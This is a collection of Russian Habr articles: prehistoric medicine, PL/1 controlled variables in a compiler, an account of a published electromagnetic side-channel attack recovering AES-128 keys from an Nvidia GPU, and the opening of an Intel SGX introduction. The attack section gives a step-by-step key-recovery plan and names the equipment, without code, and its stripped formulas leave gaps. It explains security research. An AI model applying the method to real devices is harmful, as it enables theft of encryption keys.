Зуб человека из Рипаро Виллабруна со следами стоматологической операции.Доказательством этой версии служит ещё то, что на боку погребённого скелета обнаружена маленькая кожаная поясная сумка. При жизни человек из Рипаро Виллабруна носил в ней ком непонятного вещества, которое могло быть смесью прополиса и охры, то есть вещества для самостоятельного обновления «пломбы».
Реконструкция человека из Рипаро Виллабруна. Источник: https://vk.com/wall13101842\_2951Однако, эмпирические знания первобытного человека, полученные в результате практического опыта, были весьма ограничены. Первобытный человек не понимал связи многих явлений окружающей его природы. Его бессилие перед природой порождало иррациональные представления об окружающем мире. На этой почве в период ранней родовой общины началось зарождение первых религиозных представлений, которые неизбежно отражались на природе врачевания.
Среди таких представлений можно выделить основные формы:
Тотемный столб индейцев Тлинкитов*1. Тотемизм* – вера человека в существование между его родом и определённым видом животного или растения тесной связи. Такое существо считали «отцом», «старшим братом», защитником от бед. Тотемизм является отражением связи рода с естественной средой. Ранней родовой общине был свойственен зооморфный тотемизм. 2. *Фетишизм* – вера в сверхъестественные свойства неодушевлённых предметов. Сначала версия распространилась на орудия труда («удачливое» копье или полезные предметы обихода) – т.е. имела вполне материалистическую основу. Впоследствии фетиши стали изготавливаться специально в качестве культовых предметов и получали идеалистическое толкование. Так, вероятно, появились талисманы и амулеты. 3. *Анимизм* – вера в души, духов и всеобщее одухотворение природы. Предполагается, что такие представления связаны с ранними формами культа мёртвых предков. 4.*Магия* – стала вершиной развития представлений о мире у первобытных людей.
Алэл — кетская кукла-фетишЭто форма веры в способность человека воздействовать на материальную действительность посредством сверхъестественных манипуляций. В основе магического мышления лежит непонимание истинных связей событий и явлений природы. В своей работе «Золотая ветвь» Джеймс Джордж Фрэзер выделяет две формы магических воздействий: *контагиозные* – в основе которых лежит представление о том, что вещи бывшие в контакте друг с другом, способны продолжать взаимодействовать на расстоянии, и *гомеопатический* (или имитативный) – в основе которого лежит представление о способности взаимодействовать друг на друга подобных объектов – «подобное воздействует на подобное.»
Бубен Большого шамана.Среди многочисленных разновидностей магии появилась и лечебная магия – лечение болезней и травм, основанное на культовой практике. Окончательно первобытная культовая практика сформировалась позднее, в период развитой родовой общины, когда зооморфный тотемизм предков-животных постепенно трансформировался в антропоморфный тотемизм и культ предков. Культ отразился на представлении о причинах болезней: *возникновение болезни понималось как результат вселения в тело больного духа умершего предка или духа болезни*. Подобные толкования оказали влияние и на приёмы врачевания, целью которых стало удаление духа болезни из тела больного путём уговоров, а потом и методами насильственного «изгнания».
Особое значение в таком понимании болезни приобрело применение различного рода слабительных и рвотных средств, а также кровопускание. Но особое место в ряду практик изгнания духов приобрела трепанация черепа. Несомненные доказательства подобной процедуры существуют начиная с неолитических времён. Свидетельством этому служат многочисленные черепа, собранные в разных местах Старого Света и носящие следы прижизненного хирургического вмешательства. Трепанация неолитического периода впервые была реконструирована в 1773 – 1774 гг, когда в Лионе доктор Прюньер демонстрировал несколько черепов из дольменов Ложери со следами прижизненной трепанации. Удивительно, что в большинстве случаев (более 70%!) трепанация заканчивалась успешно, о чём свидетельствует образование костной мозоли по периметру трепанационного отверстия.
Черепа со следами трепанации и последующего заживления. Среди методик трепанации можно выделить три основных: высверливание, выскабливание и пропиливание костей черепа. В зависимости от используемой методики будут зависеть форма и размеры отверстия. Это очень интересно, так как уровень развития человечества, уже на тот момент времени, показывал то, что человек умел лечить определённого рода болезни связанные с головой.Врачевание в эту эпоху продолжало оставаться коллективным. Накопление эмпирических знаний отражало коллективный опыт племени. В то же время превратное миросозерцание и фантастические верования становились основой лечебной магии и культовых ритуалов врачевания. В период разложения первобытного общества становление классового неравенства вело к внутриплеменному расслоению, усилению племенной организации и, следовательно, укреплению культа племенных покровителей и религиозных представлений.
Со временем это привело к появлению профессиональных служителей культа. Сфера их деятельности включала сохранение и передачу положительных знаний, толкование обычаев и религиозные функции: *врачевание, судопроизводство и прочее*.
В первобытном обществе шаман выполнял широкий круг функций от лекаря до хранителя религиозных и «юридических» знаний.Окончательно разложение родоплеменного строя завершилось при переходе от присваивающего хозяйства – к производящему, то есть от перехода от охоты-собирательства к ведению сельского хозяйства, одомашниванию животных и сельскохозяйственных культур. Это потребовало организации постоянных поселений и ведения учёта и, как следствие, появления письменности.
Самым древним поселением постоянного типа – подобием города – считается Иерихон на территории современного Израиля. Возраст древнейшего поселения определяется как 12 – 10 тыс. лет до н.э. В ходе формирования общества скотоводов, межклассовые противоречия всё нарастали, что в конечном итоге привело к переходу от первобытнообщинного строя к рабовладельческому. Древнейшие цивилизации подобного типа сформировались в области плодородного полумесяца на территории передней Азии (долина Тигра и Евфрата), в долине Инда, Ганга, Янцзы и Хуанхэ. О них и будет следующий рассказ.
Список использованной литературы1. Алексеев В.П. Першиц А.И. «История первобытного общества: учебник для ВУЗов» 5-е издание. Изд-во Высшая школа М. 1999.
2. Бужилова А.П. «Homo sapiens. История болезни» изд-во «Языки славянской культуры» М. 2005.
3. Дробышевский С.В. «Байки из грота. 50 историй из жизни древних людей» Изд-во АНФ М. 2018
4. Дробышевский С.В. «Достающее звено. Книга вторая. Люди. Изд-ва АСТ М. 2017
5. Дробышевский С.В. «Предшественники. Предки? Часть V: палеантропы» Изд-во ЛКИ М. 2010
6. Сорокина Т.С. «История медицины» 8-е издание. Издательский центр Акадания М. 2008
7. Фрэзер Д.Д. «Золотая ветвь» Изд-во АСТ М. 2011.
8. Элиаде Мирча «История веры и религиозный идей. От каменного века до элевсинских мистерий» Изд-во «Академический проект» М. 2014
9. Элиаде Мирча «Шаманизм. Архаические техники экстаза» Изд-во «Академический проект» М. 2014. | https://habr.com/ru/post/576416/ | null | ru | null |
# Клонированные переменные
Как-то попалось интересное (для меня), хотя и довольно давнее обсуждение [языков программирования](http://delphimaster.net/view/14-1101808213/all), где упоминался и язык PL/1. В конце концов, как всегда и бывает на таких форумах, все стороны остались при своем мнении, и тогда один из участников предложил написать на разных языках и затем сравнить простой тест, один из тех, которые часто дают студентам «для закрепления пройденного»:
*Стандартный входной поток содержит произвольное (и заранее не известное) количество целых чисел. Нужно все их прочитать, а затем вывести нечетные числа в стандартный выходной поток в порядке, обратном исходному. Чтобы "не заслонять лес деревьями", будем считать, что доступная память бесконечна. Критерии сравнения предлагаю следующие (в порядке убывания их приоритета):*
* *точность решения сформулированной задачи;*
* *эффективность кода (по требуемой памяти и скорости работы);*
* *простота её реализации на данном языке;*
* *понятность алгоритма при минимуме комментариев;*
* *читабельность кода;*
* *краткость кода.*
Для языка PL/1 был предложен следующий вариант:
```
PL1_EXAMPLE: PROCEDURE OPTIONS(MAIN);
DECLARE I FIXED CONTROLLED;
ON ENDFILE(SYSIN) GOTO L2;
L1: ALLOCATE I;
GET LIST(I);
IF MOD(I,2)=0 THEN FREE I;
GOTO L1;
L2: FREE I;
DO WHILE(ALLOCATION(I));
PUT LIST(I);
FREE I;
END;
END PL1_EXAMPLE;
```
На мой взгляд, можно было бы ещё укоротить текст. Поставив метку L2 прямо внутрь цикла DO WHILE и сократив, тем самым, один оператор FREE. Но согласен, это не лучший стиль программирования — входить в цикл не через заголовок.
В этом тесте использовалось такая возможность PL/1 как «управляемые» (controlled) переменные. Название «управляемые», на мой взгляд, неудачное. Программист, по большому счету, всегда управляет размещением объектов программы, даже, если это и делается неявно. Наверное, больше бы подошло название «клонированные» переменные.
Controlled-переменные требуют явного создания оператором ALLOCATE и после использования – явного уничтожения оператором FREE.
Однако в отличие от «обычных» т.н. «базированных» (based) переменных, controlled-переменные после оператора FREE не исчезают, а получают предыдущее значение, если операторов ALLOCATE было несколько. Например, целая переменной X будет принимать следующие значения:
```
ALLOCATE X; X=1;
ALLOCATE X; X=2;
FREE X; // X принимает предыдущее значение 1
FREE X; // X больше не существует
```
Чтобы узнать существуют ли ещё экземпляры controlled-переменной, в языке предусмотрена встроенная функция ALLOCATION, которая возвращает «да/нет» для заданного объекта.
Таким образом, для каждой controlled-переменной по существу создается свой отдельный стек, хотя и реализованный в виде связанного списка в «куче».
В компиляторе, который я использую и сопровождаю, «клонированных» переменных не было. А поскольку их реализация казалась слишком сложной, я внушал себе (методом «зелен виноград»), что такая возможность и не очень-то и нужна.
Но читая указанную дискуссию, мне вдруг пришла мысль, что controlled-переменные легко реализовать, используя такое свойство языка, как неявные указатели.
В PL/1 можно в описании based-переменной не объявлять, какой указатель нужно использовать для данной based-переменной, но тогда в операторах программы его нужно каждый раз указывать явно. А можно наоборот, явно объявить один раз указатель в описании переменной и затем просто забыть про него – компилятор при каждом обращении к based-переменной будет подставлять его по умолчанию.
В данном случае компилятору достаточно просто переводить controlled-переменные в based-переменные, указывая каждый раз не «обычные», описанные программистом, а специальные служебные указатели, имена которых меняются самим компилятором, например, на единицу.
А при разборе операторов ALLOCATE и FREE компилятору нужно проверить использование обычного или такого служебного указателя.
Если используется служебный указатель, то для ALLOCATE нужно увеличить размер заказанной памяти ещё на размер указателя, а затем в конец выделенного участка памяти записать текущее значение этого указателя перед тем, как заполнить его новым значением.
А в операторе FREE перед освобождением памяти необходимо ещё содержимое последних байт указанного фрагмента памяти поместить в служебный указатель как его восстановленное значение.
Для x86-64 эти дополнительные коды будут выглядеть так (учитывая, что в «куче» есть двунаправленный связанный список и восемью байтами «выше » в «куче» находится адрес следующего участка выделяемой памяти):
для ALLOCATE
```
E800000000 call ?ALLOA ; выделяем память для переменной
488BCB mov rcx,rbx ; запомнили начало памяти в куче
F048871D20000000 xchg ?P0001,rbx ; запомнили и достали предыдущее
488B49F8 mov rcx,0FFFFFFF8h[rcx] ; предыдущий адрес переменной
488959F8 mov 0FFFFFFF8h[rcx],rbx ; запомнили пред.адрес в текущем экземпляре
```
для FREE
```
BB20000000 mov q rbx,offset ?P0001 ; адрес указателя
488B0B mov q rcx,[rbx] ; значение указателя
488B49F8 mov q rcx,0FFFFFFF8h[rcx] ; предыдущий адрес
488B49F8 mov q rcx,0FFFFFFF8h[rcx] ; предыдущая память
F048870B xchg q rcx,[rbx] ; предыдущий адрес в указатель
488BD9 mov q rbx,rcx
E800000000 call ?FREOP ; освободили память текущего экземпляра
```
Однако даже в такой простой реализации оказался свой подводный камень – число служебных указателей (?P0001,?P0002…) становится известным только после полного разбора исходного текста, а проще всего заводить их как раз в начале разбора, просто дописывая в таблицу стандартных объектов.
Чтобы не переусложнять компилятор, число служебных указателей я сделал настраиваемым через реестр (как и ключи компилятора). Небольшое число таких указателей компилятор имеет, на всякий случай, всегда, а если требуется большое число controlled-переменных, тогда их число всегда можно увеличить через реестр, не меняя сам компилятор.
Также для упрощения функции ALLOCATION её пришлось сделать с параметром «адрес», что потребовало ещё обращаться к имеющейся встроенной функции ADDR. Т.е. вместо обращения типа:
```
IF ALLOCATION(X) THEN…
```
применяется более громоздкое обращение:
```
IF ALLOCATION(ADDR(X)) THEN…
```
Которое зато позволяет вообще не менять компилятор, а лишь дописать в его таблицу стандартных функций новое имя и тип параметра. Таким образом, у меня тест принял следующий вид:
```
TEST:PROC MAIN;
DCL I FIXED(31) STACK;
ON ENDFILE(SYSIN) GO L1;
DO REPEAT;
ALLOCATE I;
GET LIST(I);
IF MOD(I,2)=0 THEN FREE I;
END REPEAT;
L1:FREE I;
DO WHILE(ALLOCATION(ADDR(I)));
PUT LIST(I);
FREE I;
END WHILE;
END TEST;
```
Или то же самое с русскими ключевыми словами:
```
ТЕСТ:ПРОЦ ГЛАВНАЯ;
ОПС I ТОЧНОЕ(31) СТЕК;
КОГДА КОНЕЦ_ФАЙЛА(СТД_ВВОД) ИДТИ L1;
ЦИКЛ ПОВТОРЯЯ;
ДАТЬ_ПАМЯТЬ I;
ЧИТАТЬ В_ВИДЕ(I);
ЕСЛИ ОСТАТОК(I,2)=0 ТОГДА ВЕРНУТЬ_ПАМЯТЬ I;
КОНЕЦ ПОВТОРЯЯ;
L1:ВЕРНУТЬ_ПАМЯТЬ I;
ЦИКЛ ПОКА(ЕСТЬ_В_СТЕКЕ(АДРЕС(I)));
ПЕЧАТАТЬ В_ВИДЕ(I);
ВЕРНУТЬ_ПАМЯТЬ I;
КОНЕЦ ПОКА;
КОНЕЦ TEСT;
```
Легко проверить, что если запустить такой тест и вводить с клавиатуры, например, 1 2 3 4 5 6 7 8 9 Ctrl+Z (последний символ сигнализирует о конце ввода), то на экран выдается требуемая последовательность: 9 7 5 3 1.
Поскольку я считаю название «controlled» неинформативным, на русский язык я перевел его все-таки как «СТЕК» и приравнял атрибуты памяти CONTROLLED и STACK, подчеркивая, тем самым, организацию памяти в виде стека (пусть фактически и в виде связанного списка), а функцию ALLOCATION соответственно как ЕСТЬ\_В\_СТЕКЕ.
Итак, не внося серьезных изменений в компилятор, удалось добавить в язык возможность, которая изначально была в полном стандарте языка и использовалась на практике. Получились своеобразные «клонированные» или «стековые» переменные, не в том смысле, что для их создания достаточно передвинуть указатель стека (увы, действий гораздо больше), а в том смысле, что при создании очередного экземпляра такой переменной, его предыдущее значение заталкивается в индивидуальный стек этой переменной.
Такой индивидуальный стек расположен в общей «куче».
Что касается предложенного теста, то, скорее всего, изначально он задумывался для демонстрации рекурсии, например, на том же PL/1 такой текст даже короче (не нужно явно выделять и освобождать память), хотя делает то же самое:
```
TEST:PROC MAIN;
F;
F:PROC RECURSIVE;
DCL I FIXED;
ON ENDFILE(SYSIN) GO L1;
GET LIST(I);
F;
IF MOD(I,2)^=0 THEN PUT LIST(I);
L1:
END F;
END TEST;
```
Однако лично я все же присудил бы победу первому варианту с «клонированными» переменными, особенно по критерию эффективности. Так как при рекурсии для запоминания всего лишь одной переменной приходится запоминать все состояние рекурсивной процедуры, а не эту одну переменную. А кроме этого, «клонированные» или «стековые» переменные могут существовать и после выхода из подпрограммы, что в некоторых случаях может оказаться практически удобным свойством. | https://habr.com/ru/post/540192/ | null | ru | null |
# AES против осциллографа
Слово "хакер" обрело свое нынешнее звучание лишь во второй половине XX века благодаря журналистам. Изначально хакерами именовали специалистов, обладающих обширными знаниями в области компьютерных технологий и умеющих виртуозно применять их. Именно о деятельности одной из групп таких хакеров пойдет речь в данной статье.
Введение
--------
В 2007 году компания Nvidia представила первую версию CUDA — программно-аппаратную архитектуру параллельных вычислений, позволяющую использовать графические ускорители для большего класса задач, нежели только рендеринг изображений. Переведя свои графические процессоры из разряда GPU в разряд GPGPU (General Purpose GPU), Nvidia сделала массивно-параллельные вычисления доступнее для широкого круга задач. В частности, видеопроцессоры оказались применимы к задачам шифрования, и разработчики криптографических библиотек воспользовались возможностью ускорить вычисления. К сожалению, как и любые электронные устройства, видеокарты излучают электромагнитные волны, и характер этого излучения зависит от конкретных действий графического процессора. Пристальное наблюдение за таким излучением позволило группе ученых из UCAS [взломать](https://ieeexplore.ieee.org/document/8455921) шифр AES, узнав значение секретного ключа.
Краткое напоминание
-------------------
Прежде чем перейти непосредственно к атаке, нелишним будет вспомнить основы CUDA и AES:
CUDACUDA (Compute Unified Device Architecture) — это программно-аппаратная архитектура параллельных вычислений, предложенная компанией Nvidia для своих графических процессоров общего назначения. Давайте посмотрим на CUDA с двух различных ракурсов.
#### С точки зрения программиста
При написании программ, использующих CUDA, программист имеет дело со следующими сущностями:
1. ядро (kernel) — функция, исполняемая на GPGPU;
2. сетка (grid) — группа потоков, исполняющих код одного ядра;
3. блок (block) — составляющая сетки. Каждый блок --- это совокупность потоков и некоторого количества общей памяти;
4. нить исполнения (поток, thread) — составляющая блока.
Программист сам определяет число потоков в блоке и блоков в сетке, исходя из особенностей решаемой задачи. Подробнее про программирование с использованием CUDA можно узнать [здесь](https://arxiv.org/pdf/1202.4347.pdf) и [тут](http://developer.download.nvidia.com/compute/cuda/3%5C_1/toolkit/docs/NVIDIA%5C_CUDA%5C_C%5C_ProgrammingGuide%5C_3.1.pdf).
Для эффективного управления описанными сущностями необходимо понимать, как они связаны с аппаратной реализацией GPGPU.
#### С точки зрения CUDA
С точки зрения CUDA, GPGPU выглядит следующим образом (на этот раз движемся снизу вверх):
1. Скалярный процессор (Scalar Processor, SP) — ядро, исполняющее единомоментно один поток;
2. Потоковый мультипроцессор (Streaming Multiprocessor, SM) — совокупность нескольких SP, разделяемой памяти, нескольких 32-байтных регистров и общего блока формирования команд (Instruction Unit). Также SM обладает L1-кэшем, общим для всех SP. При назначении работ планировщиком каждому SM достается свой набор блоков сетки, исполняемых по очереди;
3. GPU — массив из SM, по которому распределяются блоки.
Ещё одна важная особенность работы GPGPU, не выраженная столь явно, связана с исполнением блоков. Каждый блок исполняется группами по 32 нити (warp). Внутри такой группы все потоки выполняют одну инструкцию над разными данными, то есть реализуют так называемую SIMT-архитектуру (Single Instruction Multiple Threads).
Более полное описание архитектуры GPGPU можно найти в [Белой книге](https://www.nvidia.com/content/PDF/fermi_white_papers/NVIDIA_Fermi_Compute_Architecture_Whitepaper.pdf), на [Вики](https://en.wikipedia.org/wiki/Thread_block_(CUDA_programming)) и в [официальной документации](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html/#hardware-implementation). Полезным может показаться и это [обсуждение](https://stackoverflow.com/questions/10460742/how-do-cuda-blocks-warps-threads-map-onto-cuda-cores).
Для понимания атаки предоставленного описания должно быть достаточно.
AESAdvanced Encryption Standard (AES), также известный как Rijndael — популярный симметричный алгоритм блочного шифрования. Он оперирует блоками данных длины 128 бит при длине ключа 128, 192 или 256 бит. Так как атака демонстрировалась на шифровании с длиной ключа 128 бит, пока уберем прочие размеры из рассмотрения и сфокусируемся на алгоритме для длины ключа 128 бит.
AES-128 представляет входной блок текста в виде матрицы S размером 4 на 4 байта, называемой состоянием (state), и 11 раз последовательно применяет к нему следующие операции:
1. SubBytes — замена каждого из байтов в матрице состояния на значения, указанные в таблице замен SBox. Это таблица размером 16 на 16, в ячейках которой записаны новые значения байтов. Замена производится по простому правилу: представляя байт  в виде , где  и  — шестнадцатеричные цифры, мы заменяем его на значение, лежащее на перечесении -ой строки и -ого столбца таблицы SBox. В частности, при построчном хранении таблицы в памяти (Row-Major Ordering) искомое значение будет смещено на  позиций от начала таблицы.
Нам не обязательно понимать, как именно строится таблица замен, поскольку значения в ней постоянны и уже вычислены и явно указаны в стандарте. В целях сокращения общего времени шифрования часто используется уже готовая таблица SBox, которую мы будем называть SBoxLUT (Look Up Table).
2. ShiftRows — циклический сдвиг строк матрицы состояния. Первая строка не сдвигается, вторая сдвигается на одну позицию, третья на две и четвертая на три.
3. MixColumns — умножение на фиксированную матрицу, осуществляющее линейные преобразования над стоблцами — сложения столбцов и умножение столбца на константу. Как и в случае с SBox, принцип получения матрицы мы оставим за кадром, поскольку вычислять каждый раз ее не нужно.
4. AddRoundKey — поэлементное прибавление матрицы RounKey того же размера 4 на 4, содержащей раундовый ключ. Перед началом шифрования алгоритм AES генерирует так называемое "расписание ключей" — набор из 11 матриц, называемых раундовыми ключами, по одной на каждый этап шифрования. Процесс генерации расписания описывается вспомогательной операцией KeyExpansion на основе изначального секретного ключа.
Как уже было замечено выше, описанные преобразования применяются 11 раз. Каждый такой цикл называется раундом. В действительности, 11-ый раунд несколько отличается от предыдущих десяти, так что алгоритм можно представить в следующем виде:
```
AddRoundKey(0)
for (i = 1; i <= 10; i += 1) {
SubBytes()
ShiftRows()
MixColumns()
AddRoundKey(i)
}
SubBytes()
ShiftRows()
AddRoundKey(11)
```
В качестве финального замечания необходимо отметить, что все сложения и умножения производятся в конечном поле . Простыми словами, сложение двух байтов эквивалентно применению к ним операции ИСКЛЮЧАЮЩЕЕ-ИЛИ, которую мы будем обозначать символом .
Приведение всех тонкостей и нюансов, равно как и подробного разбора каждого из шагов алгоритма, выходит за рамки данной статьи, однако исчерпывающее описание может быть найдено в [стандарте](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.197.pdf). Альтернативные объяснения с примерами, а также множество программных реализаций могут быть найдены в на Хабре [здесь](https://habr.com/ru/post/112733/) и [здесь](https://habr.com/ru/post/212235/).
Говоря об AES, нельзя не упомянуть [пьесу про AES](http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html), в частности — [акт третий, сцена вторая](http://4.bp.blogspot.com/_Zfbv3mHcYrc/Sre5MXZdxnI/AAAAAAAABoE/KzWFtoYJbKU/s576/aes_act_3_scene_02_agreement_576.png).
Описание атаки
--------------
Будем рассматривать процесс шифрования сообщения длины 32x16 байтов, при котором задача является [чрезвычайно параллельной](https://ru.wikipedia.org/wiki/%D0%A7%D1%80%D0%B5%D0%B7%D0%B2%D1%8B%D1%87%D0%B0%D0%B9%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B0%D1%80%D0%B0%D0%BB%D0%BB%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C) (Embarrassingly Parallel): для шифрования будет зайдествована единственная группа потоков, каждый из которых будет заниматься шифрованием собственного блока данных. Предположим, что злоумышленник может шифровать любой текст и читать полученный шифротекст, а также обладает физическим доступом к атакуемой видеокарте.
Описываемая атака принадлежит к классу атак по стороннему каналу. В процессе шифрования видеокарта испускает электромагнитное излучение, зависящее от используемых в работе величин. Ниже приведен краткий план атаки.
1. Локализовать точку над видеокартой, испускающей информативный сигнал;
2. Подготовить текст для шифрования;
3. Запустить процедуру шифрования, измерить поле в выбранной точке;
4. Определить значение секретного ключа, используемого на финальном раунде шифрования, вычисляя по очереди каждый из 16 байтов:
1. Выбрать байт с номером ;
2. Перебрать возможные 256 значений :
1. Рассчитать промежуточные значения  *и * для каждого ;
2. Разделить полученные в пункте 3 измерения на две группы в соответствии с и **;
3. Рассчитать величину , соответствующую данному ;
3. Определить искомое значение байта как , на котором достигается наибольшее значение ;
5. Зная все байты последнего раундового ключа, восстановить изначальный секретный ключ.
В приведенном плане используются обозначения, которые будут введены позже. Ознакомившись с планом, давайте перейдем к подробному рассмотрению шагов, после которых предлагаемое описание станет понятнее.
### Физические основы
В основе атаки лежит наблюдение за ближним полем — электромагнитным излучением в области, удаленной от источника не более, чем на  длины волны. Авторы заметили, что существует явная связь между операциями, выполняемыми GPGPU, и видом электромагнитного поля, излучаемого видеокартой. Результатом одного измерения является набор точек, снятых с электронного осциллографа и характеризующих зависимость напряжения исследуемого поля от времени для последнего раунда шифрования. Каждое такое измерение имеет одинаковое число точек, синхронизированных по времени. В дальнейшем мы будем называть эти точки отсчетами.
Отдельным вопросом является определение места измерений. Печатные платы, коими и являются GPGPU, имеют в своем составе сотни электронных компонент, однако не все они являются источниками утечек информации. Авторы предлагают рассматривать в качестве источников утечек лишь сам чип и емкости на обратной его стороне, что значительно сужает область поиска. Далее в цикле запускается процесс шифрования одного и того же текста и наблюдается вид сигнала на осциллографе в различных точках вблизи GPGPU. Как только злоумышленник увидит повторяющийся сигнал, он может прекратить поиски и проводить дальнейшие измерения в этой точке.
### Кэш-коллизии
В качестве операции, надежно генерирующей различимые сигналы, авторы рассматривают одновременную кэш-коллизию (Simultaneous Cache Collision, SCC). В процессе исполнения все потоки, принадлежащие одной warp-группе, могут обратиться к данным, находящимся в одной (происходит SCC) или различных (SCC не происходит) кэш-линиях. При этом генерируемый электромагнитный сигнал будет различаться.
Заметим, что длина кэш-линии GPGPU архитектуры Fermi, рассматриваемой в данной работе, составляет 128 байтов. Размер же таблицы SBoxLUT, используемой на этапе SubBytes, составляет 256 байтов, то есть для размещения таблицы в памяти требуется две кеш-линии, по одной на первую и вторую половину. Отсюда же видно, что наличие SCC говорит об обращении всеми потоками к SBoxLUT по индексам либо из диапазона , либо из .
### Атака
#### Обработка данных утечки
Рассмотрим последний раунд шифрования текста. Он описывается следующим уравнением:
где  и — -ый байт шифротекста и -ый байт последнего раундового ключа, соответственно, а — некоторое промежуточное значение. Злоумышленник может предположить, что использовался ключ . В таком случае, зная , можно найти величину промежуточного байта :
где InvSBox — таблица обратной замены, известная из стандарта и обладающая свойством , а — -ый байт предполагаемого ключа. Мы предположили, что злоумышленник может шифровать любой текст. В частности, он может заготовить текст, состоящий всего из двух типов блоков. При шифровании такого текста значения -го байта , полученные каждым из потоков, будут принимать всего два различных значения:  и . Будучи использованными в качестве индексов для обращения к таблице SBoxLUT, они либо приведут к кэш-коллизии, либо нет. Зная  и , отличить эти случаи несложно: коллизия происходит только когда обе величины принадлежат одному диапазону: или .
Следующим шагом злоумышленника будет разделение полученных измерений ЭМ-поля на две группы  и согласно вычисленным  и : где коллизии были и где их не было. Формально это можно записать так:
где под  понимается набор точек, соответствующих одному раунду шифрования.
Авторы заметили, что сигналы, соответствующие наличию коллизии, похожи между собой, но сильно отличаются от сигналов в её отсутствие, и наоборот. Соответственно, можно рассмотреть величину
показывающую, насколько сильно отличаются средние значения сигналов, помещенных в множества и . Под операцией суммирования здесь понимается сложение соответствующих отсчетов сигналов, а под переменными  и  — мощности множеств  и , соответственно. Здесь необходимо отметить, что, поскольку разбиение сигналов на группы зависит от , то и  является функцией от : .
#### Восстановление ключа
Если предполагаемый ключ  совпал с ключом, использованным для шифрования, то восстановленные значения  и  совпадут с действительно использованными при шифровании, и злоумышленник верно распределит сигналы по группам. Наоборот, при ошибочном выборе разделение на группы по вычисленным промежуточным значениям  и  приведет к равномерно перемешанным сигналам. При этом значения компонент  в первом случае будут заметно превосходить соответствующие компоненты во втором. Таким образом, для вычисления -го байта секретного ключа злоумышленнику достаточно будет перебрать 256 возможных значений и выбрать то, при котором  принимает наибольшее значение. Делать это авторы предлагают следующим образом:
где  — -я координата вектора . Формула легко интерпретируется: каждому из значений  соответствует вектор с наибольшей -ой координатой. Запомнив абсолютное значение этой координаты, из полученных 256 значений нужно снова выбрать наибольшее. Соответствующее ему  принимается за искомый байт ключа . Повторив описанную процедуру для каждого , злоумышленник сможет восстановить полное значение последнего раундового ключа в расписании. Алгоритм восстановления исходного секретного ключа, используемого при генерации расписания, из последнего раундового ключа для алгоритма AES-128 известен и уже обсуждался [здесь](https://crypto.stackexchange.com/questions/15200/how-secure-is-the-aes-master-key-if-round-keys-are-founda) или [здесь](https://crypto.stackexchange.com/questions/50543/in-aes-keyschedule-infer-all-round-keys-and-cipher-key-from-last-round-key).
В работе авторы показывают, что для успешного восстановления ключа таким методом достаточно собрать данные порядка 1000 шифрований, что требует порядка 100 миллисекунд. Дополнительное использование алгоритма перечисления ключей [KEA](https://eprint.iacr.org/2011/610.pdf) позволяет сократить число измерений до 600.
Сейчас, изучив атаку в деталях, стоит ещё раз посмотреть на её план — теперь он будет гораздо понятнее.
Вместо заключения
-----------------
На данный момент известно лишь об одной успешной атаке, проведенной данным способом. Эту атаку провели сами авторы оригинальной статьи. В качестве атакуемой видеокарты была выбрана Nvidia GeForce GT 620 с объемом видеопамяти 454MiB. Библиотека, реализующая шифрование — [PolarSSL](https://tls.mbed.org). Для детектирования электромагнитных следов авторами использовался осциллограф Agilent KeySight DSO9104A с пробником магнитного поля Rohde&Schwarz RF B.
Данная атака позволяет узнать значение последнего раундового ключа. В случае шифрования AES-128 этого [достаточно](https://crypto.stackexchange.com/questions/50543/in-aes-keyschedule-infer-all-round-keys-and-cipher-key-from-last-round-key), чтобы восстановить исходное значение секретного ключа, однако версии AES-192 и AES-256 остаются устойчивыми к взлому данным образом. Например, знание последнего раундового ключа AES-256 лишь сужает область возможных значений исходного с 2256 до 2128, и дальнейший подбор остается вычислительно неосуществим.
Атака впервые применяет изучение ЭМ-утечек информации к взлому шифрования на GPGPU и во многом превосходит другие известные атаки по стороннему каналу. Так, например, она требует на три порядка меньше измерений, чем атака, описанная в похожей [работе](https://ieeexplore.ieee.org/document/7357115).
Несмотря на то, что проведение атаки в реальной жизни на данный момент затруднительно, она остается интересной с научной точки зрения и может дать толчок дальнейшему развитию идей в исследуемом направлении.
P.S. На данный момент отличия в форматировании формул в редакторе и при просмотре поста несколько удивиляют, в ближайшее время постараюсь с этим разобраться. | https://habr.com/ru/post/533012/ | null | ru | null |
# Trusted Execution Environment на примере Intel SGX. Основные принципы простыми словами. «Hello World!»
Данная статья направлена, прежде всего, на начинающего специалиста, который только
приступил к исследованию методов и способов обеспечения информационной безопасности исполняемого программного кода. С такой задачей рано или поздно сталкиваются все разработчики ПО и системные инженеры, что и произошло на одном из проектов компании Альтирикс системс, в рамках которого необходимо было реализовать защищенное исполнение программного кода в условно не защищенной среде. Для чего, помимо, уже известных и хорошо описанных методов и средств защиты информации, была выбрана, достаточно редко применяемая в российских проектах технология Trusted Execution Environment (TEE) или, говоря по-русски, технология доверенных сред исполнения. Конкретно в этой статье мы решили описать практический пример использования анклавов процессора Intel для доверенной среды исполнения кода (Intel Software Guard Extensions или SGX).
Доверенные среды исполнения поддерживаются далеко не только процессорами данного производителя. Также, TEE поддерживается рядом процессоров AMD (Secure Execution Environment, Secure Technology), процессорами с архитектурой ARM (TrustZone), процессорами с архитектурой RISC-V. Кроме того, TEE поддерживается современными мейнфреймами IBM Z. Мы же выбрали Intel SGX для своего примера поскольку считаем, что на момент написания статьи (лето 2020г.) процессоры Intel наиболее популярны и доступны для начинающих специалистов на постсоветском пространстве. С полным перечнем моделей процессоров Intel с поддержкой Intel SGX можно ознакомиться на сайте Intel в разделе Intel product specifications (ARK), выбрав для поиска соответствующую технологию. И да, возможно, воспользоваться эмуляциями Intel SGX для учебных или исследовательских целей. Работа с несколькими из таких эмуляций выявила ряд сложностей в их настройке. Также нужно понимать, что для реальных “боевых” проектов никакая эмуляция технологии основанной на аппаратом функционале, естественно, недопустима.
Любой ваш отзыв, особенно, с замечаниями и дополнениями от специалистов уже имеющих опыт применения TEE в своих проектах, или же с вопросами от тех, кто точно так же только начинает погружаться в эту технологию, поспособствуют более детальному раскрытию данной темы в следующих статьях. Заранее спасибо!
### Введение
Основной вопрос, который мы задаем в начале пути изучения доверенных сред исполнения: можем ли мы доверять компонентам системы компьютера? А если можем, то каким? Разработчики, а в частности инженеры Intel, дают на этот вопрос однозначный ответ: никому, кроме самого Intel. Что под этим подразумевается? Предлагаю поподробнее в этом разобраться.
### Кольца привилегий
